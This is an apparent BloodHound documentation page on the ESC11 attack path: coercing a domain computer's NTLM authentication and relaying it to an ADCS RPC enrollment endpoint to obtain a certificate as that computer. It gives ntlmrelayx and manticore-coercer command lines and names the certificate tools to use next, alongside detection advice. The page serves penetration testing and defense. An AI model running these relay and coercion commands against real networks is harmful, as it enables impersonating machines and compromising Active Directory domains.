> ## Documentation Index
> Fetch the complete documentation index at: https://bloodhound.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.

# CoerceAndRelayNTLMToADCSRPC

> The target computer can be coerced to authenticate via NTLM to an ADCS RPC enrollment endpoint, enabling certificate enrollment as the computer.

![Applies to BloodHound Enterprise and CE](https://mintcdn.com/specterops/tTIczgde9H07oLXf/assets/enterprise-AND-community-edition-pill-tag.svg?fit=max\&auto=format\&n=tTIczgde9H07oLXf\&q=85\&s=ad49a576589f4d2a8081df77d07fdf56)

This edge indicates that an attacker with "Authenticated Users" access can trigger SMB-based coercion from the target computer to their attacker-controlled host via NTLM. The authentication attempt from the target computer can then be relayed to an ESC11-vulnerable RPC enrollment endpoint of an Active Directory Certificate Services (ADCS) enterprise CA server. This allows the attacker to obtain a certificate enabling domain authentication as the target computer.

The ESC11 attack differs from the HTTP-based ADCS relay attack (ESC8) because it targets RPC endpoints instead of web enrollment endpoints. For ESC11 to succeed, the Enterprise CA must have RPC encryption disabled - specifically, the `IF_ENFORCEENCRYPTICERTREQUEST` CA flag must be turned off. In BloodHound, this configuration is revealed by the "RPC Encryption Enforced" (`rpcencryptionenforced`) property on the EnterpriseCA node.

Click on **Relay Targets** to view vulnerable enterprise CA servers that enable certificate enrollment for the target computer via RPC endpoints.

## Abuse Info

This section provides general guidance about abusing this edge. For detailed instructions, see [references](#references) at the end of this article.

### Linux

**1. Start the Relay Server**

The NTLM relay can be executed with [ntlmrelayx.py](https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py). To relay to the enterprise CA via RPC endpoints and enroll a certificate, specify the RPC endpoint as the target and use the arguments:

```bash theme={null}
-t rpc://<CA_IP> -rpc-mode ICPR -icpr-ca-name <CA_NAME> -smb2support
```

**2. Coerce the Target Computer**

Several coercion methods are documented here: [Windows Coerced Authentication Methods](https://github.com/p0dalirius/windows-coerced-authentication-methods).

Every coercion technique has prerequisites that must be met on the target. The following command uses [Manticore Coercer](https://github.com/TheManticoreProject/coercer) to attempt all relevant SMB coercion techniques. Success depends on the prerequisites for at least one technique being met.

```bash theme={null}
manticore-coercer coerce -t <target> -u <user> -p <pass> -d <domain> -l <listener-ip> --always-continue --path-type smb
```

**3. Perform Certificate Authentication**

Authenticate using the certificate obtained as the target principal, for example by using [Certipy](https://github.com/ly4k/Certipy).

### Windows

**1. Start the Relay Server on Linux**

There is currently no publicly available Windows tool that supports relaying NTLM authentication to an AD CS RPC enrollment endpoint. Start the relay server on a Linux host using [ntlmrelayx.py](https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py). To relay to the enterprise CA via RPC and enroll a certificate, specify the RPC endpoint as the target and use the following arguments:

```bash theme={null}
-t rpc://<CA_IP> -rpc-mode ICPR -icpr-ca-name <CA_NAME> -smb2support
```

**2. Coerce the Target Computer**

Several coercion methods are documented here: [Windows Coerced Authentication Methods](https://github.com/p0dalirius/windows-coerced-authentication-methods).

Every coercion technique has prerequisites that must be met on the target. The following command uses [Manticore Coercer](https://github.com/TheManticoreProject/coercer) to attempt all relevant SMB coercion techniques. Success depends on the prerequisites for at least one technique being met.

```bash theme={null}
manticore-coercer coerce -t <target> -u <user> -p <pass> -d <domain> -l <listener-ip> --always-continue --path-type smb
```

**3. Perform Certificate Authentication**

Authenticate using the certificate obtained as the target principal, for example by using [Rubeus](https://github.com/GhostPack/Rubeus).

## Opsec Considerations

### Coercion Attempts

Running `manticore-coercer` with `--always-continue --path-type smb` attempts all relevant SMB coercion techniques and is not stealthy.

Attempting many techniques increases observable activity. For better OPSEC, use individual techniques whose prerequisites you have verified on the target.

### Detection of NTLM Relay

NTLM relayed authentications can be detected by login events where the IP address does not match the computer's actual IP address. This detection technique is described in the blog post: [Detecting NTLM Relay Attacks](https://posts.bluraven.io/detecting-ntlm-relay-attacks-d92e99e68fb9).

### Detection of Certificate Usage

Authentication using the obtained certificate is another detection opportunity. If Kerberos authentication is used, a domain controller will generate Windows Event ID 4768 ("A Kerberos authentication ticket (TGT) was requested"). This event will include the attacker's IP address rather than the target computer's IP address. Similarly, for Schannel authentication, Event ID 4624 will reveal the incorrect IP address. These detection techniques are described in detail under DETECT2 in the whitepaper: [Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).

## Edge Schema

Source: `Authenticated Users`, [Group](https://bloodhound.specterops.io/resources/nodes/group.md)\
Destination: [Computer](https://bloodhound.specterops.io/resources/nodes/computer.md)\
Traversable: ✅

## References

* [Relaying to AD Certificate Services over RPC](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
* [Exploiting Active Directory Certificate Services - ESC11 Walkthrough](https://heartburn.dev/exploiting-active-directory-certificate-services-esc11-walkthrough/)
* [Hackndo: NTLM relay](https://en.hackndo.com/ntlm-relay/)
* [Microsoft: NTLM Overview](https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview)
* [Relay Your Heart Away: An OPSEC-Conscious Approach to 445 Takeover](https://posts.specterops.io/relay-your-heart-away-an-opsec-conscious-approach-to-445-takeover-1c9b4666c8ac)
* [Windows Coerced Authentication Methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)
* [Manticore Coercer](https://github.com/TheManticoreProject/coercer)
* [Rubeus](https://github.com/GhostPack/Rubeus)
* [Certipy](https://github.com/ly4k/Certipy)
* [Beyond the Basics: Exploring Uncommon NTLM Relay Attack Techniques](https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/)
* [I'm bringing relaying back: A comprehensive guide on relaying anno 2022](https://trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022)
* [ntlmrelayx.py](https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py)
* [Detecting NTLM Relay Attacks](https://posts.bluraven.io/detecting-ntlm-relay-attacks-d92e99e68fb9)
* [Certified Pre-Owned: Abusing Active Directory Certificate Services](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
